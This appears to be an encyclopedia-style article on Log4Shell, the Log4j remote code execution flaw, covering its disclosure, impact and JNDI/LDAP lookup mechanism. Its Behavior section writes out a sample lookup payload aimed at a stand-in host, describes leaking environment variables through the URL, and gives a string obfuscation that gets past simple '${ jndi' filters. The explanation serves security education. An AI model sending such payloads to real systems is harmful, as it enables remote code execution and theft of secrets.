Log4Shell (CVE-2021-44228) is a zero-day vulnerability in Log4j, a popular Java logging framework, involving arbitrary code execution. The vulnerability had existed unnoticed since 2013 and was privately disclosed to the Apache Software Foundation, of which Log4j is a project, by Chen Zhaojun of Alibaba Cloud's security team on 24 November 2021. Before an official CVE identifier was made available on 10 December 2021, the vulnerability circulated with the name "Log4Shell", given by Free Wortley of the LunaSec team, which was initially used to track the issue online. Apache gave Log4Shell a CVSS severity rating of 10, the highest available score. The exploit was simple to execute and is estimated to have had the potential to affect hundreds of millions of devices.

The vulnerability takes advantage of Log4j's allowing requests to arbitrary LDAP and JNDI servers, allowing attackers to execute arbitrary Java code on a server or other computer, or leak sensitive information. A list of its affected software projects has been published by the Apache Security Team. Affected commercial services include Amazon Web Services, Cloudflare, iCloud, Minecraft: Java Edition, Steam, Tencent QQ and many others. According to Wiz and EY, the vulnerability affected 93% of enterprise cloud environments.

Log4Shell

The vulnerability's disclosure received strong reactions from cybersecurity experts. Cybersecurity company Tenable said the exploit was "the single biggest, most critical vulnerability ever," Ars Technica called it "arguably the most severe vulnerability ever" and The Washington Post said that descriptions by security professionals "border on the apocalyptic."

Log4Shell

Background

Log4j is an open-source logging framework that allows software developers to log data within their applications. This data can include user input. It is used ubiquitously in Java applications, especially enterprise software. Originally written in 2001 by Ceki Gülcü, it is now part of Apache Logging Services, a project of the Apache Software Foundation. Tom Kellermann, a member of President Obama's Commission on Cyber Security, described Apache as "one of the giant supports of a bridge that facilitates the connective tissue between the worlds of applications and computer environments".

Log4Shell

Behavior

The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can leverage several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.

In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${ prefix:name}. For example, Text: ${ java:version} might be converted to Text: Java version 1.7.0_67. Among the recognized expressions is ${ jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${ jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which case they will be substituted and sent to the attacker's server. Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).

Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as ${ jndi. Such basic string matching solutions can be circumvented by obfuscating the request: ${ ${ lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j. Even if an input, such as a first name, is not immediately logged, it may be later logged during internal processing and its contents executed.